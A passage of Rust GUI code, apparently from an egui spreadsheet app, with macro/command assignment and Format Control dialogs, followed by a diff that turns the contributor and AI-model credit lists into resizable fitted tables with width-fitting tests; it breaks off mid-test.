|
||||
fn command_choices(search: &str) -> Vec<(&'static str, &'static str)> {
|
||||
let q = search.trim().to_lowercase();
|
||||
gridcraft_engine::command_specs()
|
||||
.iter()
|
||||
.filter(|c| c.journal && !c.id.starts_with("file."))
|
||||
.filter(|c| !matches!(macro_policy(c.id, &json!({}), gridcraft_engine::Trust::Local), Policy::Deny(_)))
|
||||
.filter(|c| q.is_empty() || c.id.to_lowercase().contains(&q) || c.label.to_lowercase().contains(&q))
|
||||
.map(|c| (c.id, c.label))
|
||||
.take(200)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn text_field(ui: &mut Ui, d: &mut Dialog, key: &str, width: f32) {
|
||||
let mut s = val(d, key);
|
||||
ui.add(egui::TextEdit::singleline(&mut s).desired_width(width).id_salt(("control_dialog", key.to_string())));
|
||||
d.values.insert(key.into(), json!(s));
|
||||
}
|
||||
|
||||
pub fn assign_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) {
|
||||
let t = Tokens::get(ui.ctx());
|
||||
let mut mode = val(d, "mode");
|
||||
ui.horizontal(|ui| {
|
||||
ui.radio_value(&mut mode, "macro".to_string(), "Run a macro");
|
||||
ui.radio_value(&mut mode, "command".to_string(), "Run a command");
|
||||
});
|
||||
d.values.insert("mode".into(), json!(mode));
|
||||
ui.add_space(4.0);
|
||||
if mode == "macro" {
|
||||
let macros = macros(app);
|
||||
let mut name = val(d, "macro");
|
||||
ui.label("Macro name:");
|
||||
ui.add(egui::TextEdit::singleline(&mut name).desired_width(f32::INFINITY).id_salt("assign_macro"));
|
||||
egui::Frame::NONE.fill(t.input_bg).stroke(Stroke::new(1.0, t.input_border)).inner_margin(2.0).show(ui, |ui| {
|
||||
ui.set_min_size(vec2(ui.available_width(), 110.0));
|
||||
egui::ScrollArea::vertical().max_height(110.0).show(ui, |ui| {
|
||||
if macros.is_empty() {
|
||||
ui.label(egui::RichText::new("This workbook has no macros yet.").italics().color(t.text_dim));
|
||||
}
|
||||
for (n, desc) in ¯os {
|
||||
let r =
|
||||
ui.add(egui::Button::selectable(n.eq_ignore_ascii_case(name.trim()), n.as_str()).min_size(vec2(ui.available_width(), 20.0)));
|
||||
let r = if desc.is_empty() { r } else { r.on_hover_text(desc) };
|
||||
if r.clicked() {
|
||||
name = n.clone();
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
d.values.insert("macro".into(), json!(name));
|
||||
ui.add_space(4.0);
|
||||
let mut input = val(d, "input");
|
||||
ui.label("Run it on:");
|
||||
ui.radio_value(&mut input, "selection".to_string(), "The selection when the button is pressed");
|
||||
ui.horizontal(|ui| {
|
||||
ui.radio_value(&mut input, "fixed".to_string(), "Always this range:");
|
||||
if input == "fixed" {
|
||||
text_field(ui, d, "range", 160.0);
|
||||
}
|
||||
});
|
||||
d.values.insert("input".into(), json!(input));
|
||||
ui.horizontal(|ui| {
|
||||
ui.label("Output to (optional):");
|
||||
text_field(ui, d, "output", 120.0);
|
||||
});
|
||||
} else {
|
||||
let mut search = val(d, "search");
|
||||
let command = val(d, "command");
|
||||
ui.label("Command:");
|
||||
ui.add(egui::TextEdit::singleline(&mut search).hint_text("Search commands").desired_width(f32::INFINITY).id_salt("assign_search"));
|
||||
egui::Frame::NONE.fill(t.input_bg).stroke(Stroke::new(1.0, t.input_border)).inner_margin(2.0).show(ui, |ui| {
|
||||
ui.set_min_size(vec2(ui.available_width(), 130.0));
|
||||
egui::ScrollArea::vertical().max_height(130.0).show(ui, |ui| {
|
||||
for (cid, label) in command_choices(&search) {
|
||||
let text = format!("{label} ({cid})");
|
||||
if ui.add(egui::Button::selectable(cid == command, text).min_size(vec2(ui.available_width(), 20.0))).clicked() {
|
||||
d.values.insert("command".into(), json!(cid));
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
d.values.insert("search".into(), json!(search));
|
||||
let doc = gridcraft_engine::find_command(val(d, "command").trim()).map(|c| c.params).unwrap_or("");
|
||||
if !doc.is_empty() {
|
||||
ui.label(egui::RichText::new(doc).small().color(t.text_dim));
|
||||
}
|
||||
ui.label("Parameters (JSON):");
|
||||
let mut params = val(d, "params");
|
||||
ui.add(egui::TextEdit::multiline(&mut params).code_editor().desired_rows(3).desired_width(f32::INFINITY).id_salt("assign_params"));
|
||||
d.values.insert("params".into(), json!(params));
|
||||
}
|
||||
let problem = assign_params(d).err();
|
||||
if let Some(p) = &problem {
|
||||
ui.label(egui::RichText::new(p).color(t.danger));
|
||||
}
|
||||
let (ok, cancel) = ok_cancel(ui, problem.is_none());
|
||||
if cancel || (ok && assign(app, d)) {
|
||||
*open = false;
|
||||
}
|
||||
}
|
||||
|
||||
/// OK (offered while `enabled`) and Cancel at the bottom right, as the other dialogs place them:
|
||||
/// (OK clicked, Cancel clicked).
|
||||
fn ok_cancel(ui: &mut Ui, enabled: bool) -> (bool, bool) {
|
||||
let (mut ok, mut cancel) = (false, false);
|
||||
ui.add_space(8.0);
|
||||
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
|
||||
let t = Tokens::get(ui.ctx());
|
||||
ok = ui.add_enabled(enabled, egui::Button::new(egui::RichText::new(" OK ").color(t.on_accent)).fill(t.accent)).clicked();
|
||||
cancel = ui.button(" Cancel ").clicked();
|
||||
});
|
||||
(ok, cancel)
|
||||
}
|
||||
|
||||
/// Runs `control.assign` from the dialog. False (with the error shown) when it failed.
|
||||
fn assign(app: &mut SheetApp, d: &Dialog) -> bool {
|
||||
let result = assign_params(d).and_then(|params| app.run("control.assign", params).map_err(|e| crate::clean_error(&e)));
|
||||
match result {
|
||||
Ok(_) => true,
|
||||
Err(e) => {
|
||||
app.message = Some(("Assign Action".into(), e));
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- Format Control
|
||||
|
||||
/// Format Control: a slider's or spin button's cell link, value and limits (orientation and page
|
||||
/// change for sliders); a button's text. `textOnly` shows just the text (Edit Text).
|
||||
pub fn open_format(app: &SheetApp, params: &Json) -> Option<Dialog> {
|
||||
let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?;
|
||||
let c = control(app, id)?;
|
||||
let text_only = params.get("textOnly").and_then(Json::as_bool) == Some(true) && c.kind == ControlKind::Button;
|
||||
let v = json!({
|
||||
"id": id,
|
||||
"textOnly": text_only,
|
||||
"text": c.text,
|
||||
"name": c.name,
|
||||
"value": c.value.to_string(),
|
||||
"min": c.min.to_string(),
|
||||
"max": c.max.to_string(),
|
||||
"step": c.step.to_string(),
|
||||
"page": c.page.to_string(),
|
||||
"link": c.link.clone().unwrap_or_default(),
|
||||
"horizontal": c.horizontal,
|
||||
"print": c.print,
|
||||
"locked": c.locked,
|
||||
});
|
||||
let title = if text_only { "Edit Text".to_string() } else { format!("Format Control: {}", c.display_name()) };
|
||||
Some(Dialog::custom("formatControl", &title, v))
|
||||
}
|
||||
|
||||
fn whole(text: &str) -> Option<u32> {
|
||||
text.trim().parse::<u32>().ok().filter(|v| *v <= CONTROL_MAX)
|
||||
}
|
||||
|
||||
/// The `control.format` params the dialog describes, or the first problem with them (the same
|
||||
/// rules the engine checks, so OK is only offered when it will work).
|
||||
pub fn format_params(app: &SheetApp, d: &Dialog) -> Result<Json, String> {
|
||||
let id = d.values.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok()).ok_or("The control is gone.")?;
|
||||
let c = control(app, id).ok_or("The control is gone.")?;
|
||||
let flag = |k: &str| d.values.get(k).and_then(Json::as_bool).unwrap_or(false);
|
||||
if d.values.get("textOnly").and_then(Json::as_bool) == Some(true) {
|
||||
return Ok(json!({"id": id, "text": val(d, "text")}));
|
||||
}
|
||||
let mut out = json!({"id": id, "name": val(d, "name"), "print": flag("print"), "locked": flag("locked")});
|
||||
if c.kind == ControlKind::Button {
|
||||
out["text"] = json!(val(d, "text"));
|
||||
return Ok(out);
|
||||
}
|
||||
let mut draft = c.clone();
|
||||
for (key, label, slot) in [
|
||||
("min", "Minimum value", &mut draft.min),
|
||||
("max", "Maximum value", &mut draft.max),
|
||||
("step", "Incremental change", &mut draft.step),
|
||||
("page", "Page change", &mut draft.page),
|
||||
] {
|
||||
if key == "page" && c.kind != ControlKind::Slider {
|
||||
continue;
|
||||
}
|
||||
*slot = whole(&val(d, key)).ok_or_else(|| format!("{label} must be a whole number from 0 to {CONTROL_MAX}."))?;
|
||||
out[key] = json!(*slot);
|
||||
}
|
||||
draft.check_numbers()?;
|
||||
let value = whole(&val(d, "value")).ok_or_else(|| format!("Current value must be a whole number from 0 to {CONTROL_MAX}."))?;
|
||||
if value < draft.min || value > draft.max {
|
||||
return Err(format!("Current value must be between {} and {}.", draft.min, draft.max));
|
||||
}
|
||||
out["value"] = json!(value);
|
||||
out["link"] = json!(val(d, "link").trim());
|
||||
if c.kind == ControlKind::Slider {
|
||||
out["horizontal"] = json!(flag("horizontal"));
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
pub fn format_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) {
|
||||
let t = Tokens::get(ui.ctx());
|
||||
let Some(c) = d.values.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok()).and_then(|id| control(app, id)) else {
|
||||
*open = false;
|
||||
return;
|
||||
};
|
||||
let text_only = d.values.get("textOnly").and_then(Json::as_bool) == Some(true);
|
||||
if c.kind == ControlKind::Button {
|
||||
let mut text = val(d, "text");
|
||||
ui.label("Text:");
|
||||
ui.add(egui::TextEdit::multiline(&mut text).desired_rows(2).desired_width(f32::INFINITY).id_salt("control_text"));
|
||||
d.values.insert("text".into(), json!(text));
|
||||
} else {
|
||||
egui::Grid::new("format_control_grid").num_columns(2).spacing([12.0, 6.0]).show(ui, |ui| {
|
||||
let mut fields = vec![("value", "Current value:"), ("min", "Minimum value:"), ("max", "Maximum value:"), ("step", "Incremental change:")];
|
||||
if c.kind == ControlKind::Slider {
|
||||
fields.push(("page", "Page change:"));
|
||||
}
|
||||
fields.push(("link", "Cell link:"));
|
||||
for (key, label) in fields {
|
||||
ui.label(label);
|
||||
text_field(ui, d, key, if key == "link" { 160.0 } else { 90.0 });
|
||||
ui.end_row();
|
||||
}
|
||||
});
|
||||
if c.kind == ControlKind::Slider {
|
||||
let mut h = d.values.get("horizontal").and_then(Json::as_bool).unwrap_or(true);
|
||||
ui.horizontal(|ui| {
|
||||
ui.label("Orientation:");
|
||||
ui.radio_value(&mut h, true, "Horizontal");
|
||||
ui.radio_value(&mut h, false, "Vertical");
|
||||
});
|
||||
d.values.insert("horizontal".into(), json!(h));
|
||||
}
|
||||
}
|
||||
if !text_only {
|
||||
ui.add_space(4.0);
|
||||
ui.horizontal(|ui| {
|
||||
ui.label("Name:");
|
||||
let mut name = val(d, "name");
|
||||
ui.add(egui::TextEdit::singleline(&mut name).hint_text(c.display_name()).desired_width(200.0).id_salt("control_name"));
|
||||
d.values.insert("name".into(), json!(name));
|
||||
});
|
||||
for (key, label) in [("locked", "Locked (when the sheet is protected)"), ("print", "Print object")] {
|
||||
let mut on = d.values.get(key).and_then(Json::as_bool).unwrap_or(true);
|
||||
ui.checkbox(&mut on, label);
|
||||
d.values.insert(key.into(), json!(on));
|
||||
}
|
||||
}
|
||||
let params = format_params(app, d);
|
||||
if let Err(p) = ¶ms {
|
||||
ui.label(egui::RichText::new(p).color(t.danger));
|
||||
}
|
||||
let (ok, cancel) = ok_cancel(ui, params.is_ok());
|
||||
if cancel {
|
||||
*open = false;
|
||||
}
|
||||
if ok && let Ok(p) = params {
|
||||
match app.run("control.format", p) {
|
||||
Ok(_) => *open = false,
|
||||
Err(e) => app.message = Some(("Format Control".into(), crate::clean_error(&e))),
|
||||
}
|
||||
}
|
||||
}
|
||||
+325
-50
@@ -244,12 +244,17 @@ pub fn contributors_ui(ui: &mut egui::Ui) {
|
||||
let list = sorted(CONTRIBUTORS, v.names, v.key, v.ascending);
|
||||
ui.label(RichText::new(format!("{} contributors · {} commits", list.len(), group(TOTAL_COMMITS))).small().weak());
|
||||
ui.separator();
|
||||
egui::ScrollArea::both().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| {
|
||||
if list.is_empty() {
|
||||
ui.label("No contributor data was built into this copy.");
|
||||
} else if v.table {
|
||||
table(ui, &list, &mut v);
|
||||
} else {
|
||||
if list.is_empty() {
|
||||
ui.label("No contributor data was built into this copy.");
|
||||
} else if v.table {
|
||||
// The table scrolls vertically itself, under a fixed header; it only scrolls sideways
|
||||
// once its columns are dragged wider than the dialog.
|
||||
ui.allocate_ui(egui::vec2(ui.available_width(), 340.0), |ui| {
|
||||
ui.set_max_height(340.0);
|
||||
egui::ScrollArea::horizontal().auto_shrink([false, false]).show(ui, |ui| table(ui, &list, &mut v));
|
||||
});
|
||||
} else {
|
||||
egui::ScrollArea::vertical().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| {
|
||||
ui.horizontal_wrapped(|ui| {
|
||||
for (i, c) in list.iter().enumerate() {
|
||||
if i > 0 {
|
||||
@@ -258,39 +263,153 @@ pub fn contributors_ui(ui: &mut egui::Ui) {
|
||||
ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)).on_hover_text(c.summary());
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
ui.data_mut(|d| d.insert_temp(id, v));
|
||||
}
|
||||
|
||||
fn table(ui: &mut egui::Ui, list: &[&Contributor], v: &mut View) {
|
||||
egui::Grid::new("credits_table").striped(true).num_columns(SortKey::ALL.len()).show(ui, |ui| {
|
||||
for k in SortKey::ALL {
|
||||
let arrow = if v.key == k { if v.ascending { " ▲" } else { " ▼" } } else { "" };
|
||||
if ui.button(RichText::new(format!("{}{arrow}", k.label().1)).strong()).on_hover_text(k.label().0).clicked() {
|
||||
if v.key == k {
|
||||
v.ascending = !v.ascending;
|
||||
} else {
|
||||
v.key = k;
|
||||
v.ascending = k.default_ascending();
|
||||
}
|
||||
/// How the contributor table's spare width is shared out: all of it to Name.
|
||||
const CONTRIBUTOR_GROW: [f32; 10] = [1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0];
|
||||
|
||||
/// How the model table's spare width is shared out: to Company and Model, the text columns.
|
||||
const MODEL_GROW: [f32; 6] = [1.0, 2.0, 0.0, 0.0, 0.0, 0.0];
|
||||
|
||||
/// The narrowest a column can be dragged.
|
||||
const MIN_COLUMN: f32 = 28.0;
|
||||
|
||||
/// The width a column needs for its header and its widest cell.
|
||||
fn natural(ui: &egui::Ui, header: RichText, cells: impl Iterator<Item = String>) -> f32 {
|
||||
let measure = |text: egui::WidgetText| text.into_galley(ui, Some(egui::TextWrapMode::Extend), f32::INFINITY, egui::TextStyle::Body).size().x;
|
||||
let widest = cells.map(|c| measure(c.into())).fold(measure(header.into()), f32::max);
|
||||
widest + 2.0 * ui.spacing().button_padding.x
|
||||
}
|
||||
|
||||
/// Opening column widths: each column's natural width, with the spare room shared out by `grow`,
|
||||
/// so the columns fill `room` exactly. When there is too little room, only the growing columns
|
||||
/// give way, each in proportion to its width above [`MIN_COLUMN`], and none goes below that.
|
||||
fn fit_widths(natural: &[f32], grow: &[f32], room: f32) -> Vec<f32> {
|
||||
let spare = room - natural.iter().sum::<f32>();
|
||||
let weight = grow.iter().sum::<f32>();
|
||||
let slack = |w: f32| (w - MIN_COLUMN).max(0.0);
|
||||
let flexible: f32 = natural.iter().zip(grow).filter(|(_, g)| **g > 0.0).map(|(w, _)| slack(*w)).sum();
|
||||
natural
|
||||
.iter()
|
||||
.zip(grow)
|
||||
.map(|(w, g)| {
|
||||
if *g > 0.0 && spare >= 0.0 {
|
||||
w + spare * g / weight
|
||||
} else if *g > 0.0 && flexible > 0.0 {
|
||||
w - (-spare).min(flexible) * slack(*w) / flexible
|
||||
} else {
|
||||
*w
|
||||
}
|
||||
}
|
||||
ui.end_row();
|
||||
for c in list {
|
||||
ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)).on_hover_text(c.summary());
|
||||
ui.label(group(c.prs));
|
||||
ui.label(group(c.commits));
|
||||
ui.label(group(c.lines_added));
|
||||
ui.label(group(c.lines_deleted));
|
||||
ui.label(signed(c.lines_delta()));
|
||||
ui.label(group(c.binary_added));
|
||||
ui.label(group(c.binary_deleted));
|
||||
ui.label(day(c.first_commit));
|
||||
ui.label(day(c.last_commit));
|
||||
ui.end_row();
|
||||
}
|
||||
});
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// A striped table whose columns open at [`fit_widths`], so it fills the width and nothing scrolls
|
||||
/// sideways. Every column, the last included, can be dragged wider or narrower at its right edge:
|
||||
/// only a table dragged wider than the window scrolls sideways. Text too long for its column is
|
||||
/// clipped. When a column's natural width or the window changes, the columns go back to a new fit,
|
||||
/// dropping any dragged widths.
|
||||
fn fitted_table<'a>(ui: &'a mut egui::Ui, id: &str, natural: &[f32], grow: &[f32]) -> egui_extras::TableBuilder<'a> {
|
||||
// Every cell is followed by the item gap, and the vertical scrollbar keeps its margins.
|
||||
let s = ui.spacing();
|
||||
let gaps = s.item_spacing.x * natural.len() as f32;
|
||||
let bar = s.scroll.bar_width + s.scroll.bar_inner_margin + s.scroll.bar_outer_margin;
|
||||
let widths = fit_widths(natural, grow, (ui.available_width() - gaps - bar).max(0.0));
|
||||
// The table keeps its own column widths, so a change in what they were fitted to has to clear
|
||||
// them. A longer name can leave the fit itself unchanged, and scrolling can nudge the available
|
||||
// width, so this compares the natural widths and the clip rect, which scrolling never moves.
|
||||
let fit = egui::Id::unique(("credits_fit", id));
|
||||
let measured = (natural.to_vec(), ui.clip_rect().width());
|
||||
let refit = ui.data_mut(|d| d.get_temp::<(Vec<f32>, f32)>(fit)).as_ref() != Some(&measured);
|
||||
ui.data_mut(|d| d.insert_temp(fit, measured));
|
||||
let mut t =
|
||||
egui_extras::TableBuilder::new(ui).id_salt(id).striped(true).resizable(true).auto_shrink([false, false]).max_scroll_height(f32::INFINITY);
|
||||
if refit {
|
||||
t.reset();
|
||||
}
|
||||
for w in widths {
|
||||
t = t.column(egui_extras::Column::initial(w).at_least(MIN_COLUMN).clip(true));
|
||||
}
|
||||
t
|
||||
}
|
||||
|
||||
/// Add a cell's widget right-aligned (counts, dates) or left-aligned (names), vertically centred.
|
||||
fn aligned<R>(ui: &mut egui::Ui, right: bool, add: impl FnOnce(&mut egui::Ui) -> R) -> R {
|
||||
let layout = if right { egui::Layout::right_to_left(egui::Align::Center) } else { egui::Layout::left_to_right(egui::Align::Center) };
|
||||
ui.with_layout(layout, add).inner
|
||||
}
|
||||
|
||||
fn row_height(ui: &egui::Ui) -> f32 {
|
||||
ui.text_style_height(&egui::TextStyle::Body) + 6.0
|
||||
}
|
||||
|
||||
/// One contributor's table cells after the name, in `SortKey::ALL` order.
|
||||
fn cells(c: &Contributor) -> [String; 9] {
|
||||
[
|
||||
group(c.prs),
|
||||
group(c.commits),
|
||||
group(c.lines_added),
|
||||
group(c.lines_deleted),
|
||||
signed(c.lines_delta()),
|
||||
group(c.binary_added),
|
||||
group(c.binary_deleted),
|
||||
day(c.first_commit).to_string(),
|
||||
day(c.last_commit).to_string(),
|
||||
]
|
||||
}
|
||||
|
||||
/// A contributor-table header. The sorted column is highlighted; its direction shows on the
|
||||
/// toolbar's sort-order button, so no arrow widens the column.
|
||||
fn header_text(k: SortKey) -> RichText {
|
||||
RichText::new(k.label().1).strong()
|
||||
}
|
||||
|
||||
fn table(ui: &mut egui::Ui, list: &[&Contributor], v: &mut View) {
|
||||
let h = row_height(ui);
|
||||
let rows: Vec<[String; 9]> = list.iter().map(|c| cells(c)).collect();
|
||||
let widths: Vec<f32> = SortKey::ALL
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(i, &k)| match i.checked_sub(1) {
|
||||
None => natural(ui, header_text(k), list.iter().map(|c| c.name(v.names))),
|
||||
Some(col) => natural(ui, header_text(k), rows.iter().filter_map(|r| r.get(col).cloned())),
|
||||
})
|
||||
.collect();
|
||||
fitted_table(ui, "credits_table", &widths, &CONTRIBUTOR_GROW)
|
||||
.header(h + 4.0, |mut header| {
|
||||
for k in SortKey::ALL {
|
||||
header.col(|ui| {
|
||||
let r = aligned(ui, k != SortKey::Name, |ui| ui.selectable_label(v.key == k, header_text(k))).on_hover_text(k.label().0);
|
||||
|
||||
if r.clicked() {
|
||||
if v.key == k {
|
||||
v.ascending = !v.ascending;
|
||||
} else {
|
||||
v.key = k;
|
||||
v.ascending = k.default_ascending();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
})
|
||||
.body(|mut body| {
|
||||
for (c, cells) in list.iter().zip(rows) {
|
||||
body.row(h, |mut row| {
|
||||
row.col(|ui| {
|
||||
aligned(ui, false, |ui| ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)))
|
||||
.on_hover_text(c.summary());
|
||||
});
|
||||
for text in cells {
|
||||
row.col(|ui| {
|
||||
aligned(ui, true, |ui| ui.label(text));
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/// About ▸ Models: AI models credited in Co-Authored-By trailers.
|
||||
@@ -300,21 +419,50 @@ pub fn models_ui(ui: &mut egui::Ui) {
|
||||
return;
|
||||
}
|
||||
let assisted: u64 = MODELS.iter().map(|m| m.commits).max().unwrap_or(0).max(1);
|
||||
egui::ScrollArea::both().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| {
|
||||
egui::Grid::new("credits_models").striped(true).num_columns(6).show(ui, |ui| {
|
||||
for h in ["Company", "Model", "Version", "Commits", "% of all commits", "Lines +/−"] {
|
||||
ui.label(RichText::new(h).strong());
|
||||
}
|
||||
ui.end_row();
|
||||
for m in MODELS {
|
||||
ui.label(m.company);
|
||||
ui.label(m.model);
|
||||
ui.label(m.version);
|
||||
ui.label(group(m.commits));
|
||||
ui.label(format!("{:.0}%", 100.0 * m.commits as f64 / TOTAL_COMMITS.max(assisted) as f64));
|
||||
ui.label(format!("+{} / −{}", group(m.lines_added), group(m.lines_deleted)));
|
||||
ui.end_row();
|
||||
}
|
||||
let h = row_height(ui);
|
||||
let titles = ["Company", "Model", "Version", "Commits", "% of all commits", "Lines +/−"];
|
||||
// Company, Model and Version read as text; the counts line up on the right.
|
||||
let right = [false, false, false, true, true, true];
|
||||
let rows: Vec<[String; 6]> = MODELS
|
||||
.iter()
|
||||
.map(|m| {
|
||||
[
|
||||
m.company.to_string(),
|
||||
m.model.to_string(),
|
||||
m.version.to_string(),
|
||||
group(m.commits),
|
||||
format!("{:.0}%", 100.0 * m.commits as f64 / TOTAL_COMMITS.max(assisted) as f64),
|
||||
format!("+{} / −{}", group(m.lines_added), group(m.lines_deleted)),
|
||||
]
|
||||
})
|
||||
.collect();
|
||||
let widths: Vec<f32> = titles
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(i, title)| natural(ui, RichText::new(*title).strong(), rows.iter().filter_map(|r| r.get(i).cloned())))
|
||||
.collect();
|
||||
ui.allocate_ui(egui::vec2(ui.available_width(), 340.0), |ui| {
|
||||
ui.set_max_height(340.0);
|
||||
egui::ScrollArea::horizontal().id_salt("credits_models").auto_shrink([false, false]).show(ui, |ui| {
|
||||
fitted_table(ui, "credits_models", &widths, &MODEL_GROW)
|
||||
.header(h + 4.0, |mut header| {
|
||||
for (title, r) in titles.into_iter().zip(right) {
|
||||
header.col(|ui| {
|
||||
aligned(ui, r, |ui| ui.label(RichText::new(title).strong()));
|
||||
});
|
||||
}
|
||||
})
|
||||
.body(|mut body| {
|
||||
for cells in rows {
|
||||
body.row(h, |mut row| {
|
||||
for (text, r) in cells.into_iter().zip(right) {
|
||||
row.col(|ui| {
|
||||
aligned(ui, r, |ui| ui.label(text));
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -395,4 +543,131 @@ mod tests {
|
||||
assert_eq!(day("2026-10-07T18:45:23Z"), "2026-10-07");
|
||||
assert_eq!(day(""), "—");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn columns_fill_the_room_and_spare_width_goes_to_growing_columns() {
|
||||
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 300.0), [200.0, 40.0, 60.0]);
|
||||
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 2.0, 0.0], 230.0), [110.0, 60.0, 60.0]);
|
||||
let w = fit_widths(&[123.0, 45.5, 67.25], &[1.0, 0.0, 2.0], 512.0);
|
||||
assert!((w.iter().sum::<f32>() - 512.0).abs() < 0.01, "a fitted table neither scrolls nor leaves a gap: {w:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn too_little_room_shrinks_only_growing_columns() {
|
||||
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 150.0), [50.0, 40.0, 60.0]);
|
||||
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 0.0), [MIN_COLUMN, 40.0, 60.0]);
|
||||
assert_eq!(fit_widths(&[100.0, 40.0], &[0.0, 0.0], 50.0), [100.0, 40.0]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_column_at_the_minimum_leaves_the_shortfall_to_the_others() {
|
||||
let w = fit_widths(&[100.0, 300.0, 50.0], &[1.0, 1.0, 0.0], 140.0);
|
||||
assert!((w.iter().sum::<f32>() - 140.0).abs() < 0.01, "the columns still fit the room: {w:?}");
|
||||
assert!(w.iter().all(|c| *c >= MIN_COLUMN), "no column goes below the minimum: {w:?}");
|
||||
assert_eq!(fit_widths(&[100.0, 300.0, 50.0], &[1.0, 1.0, 0.0], 0.0), [MIN_COLUMN, MIN_COLUMN, 50.0]);
|
||||
}
|
||||
|
||||
const WINDOW: f32 = 640.5;
|
||||
const NATURAL: [f32; 3] = [120.0, 80.0, 80.0];
|
||||
const GROW: [f32; 3] = [1.0, 0.0, 0.0];
|
||||
|
||||
/// One frame of a table long enough to scroll; the rects of its header cells.
|
||||
fn table_frame(ctx: &egui::Context, width: f32, natural: &[f32], events: Vec<egui::Event>) -> Vec<egui::Rect> {
|
||||
scrolled_frame(ctx, width, natural, 0.0, events)
|
||||
}
|
||||
|
||||
/// [`table_frame`], scrolled `offset` points sideways.
|
||||
fn scrolled_frame(ctx: &egui::Context, width: f32, natural: &[f32], offset: f32, events: Vec<egui::Event>) -> Vec<egui::Rect> {
|
||||
let screen_rect = Some(egui::Rect::from_min_size(egui::Pos2::ZERO, egui::vec2(width, 300.0)));
|
||||
let raw = egui::RawInput { screen_rect, events, ..Default::default() };
|
||||
let mut cells = Vec::new();
|
||||
let out = ctx.run_ui(raw, |ui| {
|
||||
cells.clear();
|
||||
egui::ScrollArea::horizontal().auto_shrink([false, false]).horizontal_scroll_offset(offset).show(ui, |ui| {
|
||||
fitted_table(ui, "test", natural, &GROW)
|
||||
.header(20.0, |mut header| {
|
||||
for _ in natural {
|
||||
header.col(|ui| cells.push(ui.max_rect()));
|
||||
}
|
||||
})
|
||||
.body(|mut body| {
|
||||
for _ in 0..40 {
|
||||
body.row(20.0, |mut row| {
|
||||
for _ in natural {
|
||||
row.col(|ui| {
|
||||
ui.label("x");
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
out.drop_without_applying_deltas();
|
||||
cells
|
||||
}
|
||||
|
||||
/// A new context with the table open and settled, and the rects of its header cells.
|
||||
fn opened_table() -> (egui::Context, Vec<egui::Rect>) {
|
||||
let ctx = egui::Context::default();
|
||||
table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
|
||||
let cells = table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
|
||||
(ctx, cells)
|
||||
}
|
||||
|
||||
/// Drags a column's right edge, which runs midway through the gap after `cell`, then lets go.
|
||||
fn drag_edge(ctx: &egui::Context, cell: egui::Rect, by: f32) {
|
||||
use egui::{Event, Modifiers, PointerButton};
|
||||
let start = egui::pos2(cell.right() + 4.0, cell.center().y);
|
||||
let halfway = start + egui::vec2(by / 2.0, 0.0);
|
||||
let end = start + egui::vec2(by, 0.0);
|
||||
let moved = Event::PointerMoved;
|
||||
let button = |pos, pressed| Event::PointerButton { pos, button: PointerButton::Primary, pressed, modifiers: Modifiers::NONE };
|
||||
for event in [moved(start), button(start, true), moved(halfway), moved(end), button(end, false)] {
|
||||
table_frame(ctx, WINDOW, &NATURAL, vec![event]);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_column_can_be_dragged_at_its_right_edge_and_stays_there() {
|
||||
let (_, opened) = opened_table();
|
||||
for (dragged, cell) in opened.iter().enumerate() {
|
||||
let (ctx, _) = opened_table();
|
||||
drag_edge(&ctx, *cell, -30.0);
|
||||
table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
|
||||
let after = table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
|
||||
for (column, (was, now)) in opened.iter().zip(&after).enumerate() {
|
||||
let want = if column == dragged { was.width() - 30.0 } else { was.width() };
|
||||
assert!((now.width() - want).abs() < 1.0, "dragging column {dragged}: column {column} is {now:?}, was {was:?}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_changed_fit_replaces_the_column_widths() {
|
||||
let (ctx, opened) = opened_table();
|
||||
drag_edge(&ctx, opened[0], -30.0);
|
||||
let longer_name = table_frame(&ctx, WINDOW, &[200.0, 80.0, 80.0], Vec::new());
|
||||
assert!((longer_name[0].width() - opened[0].width()).abs() < 1.0, "a longer name drops a dragged width: {longer_name:?}");
|
||||
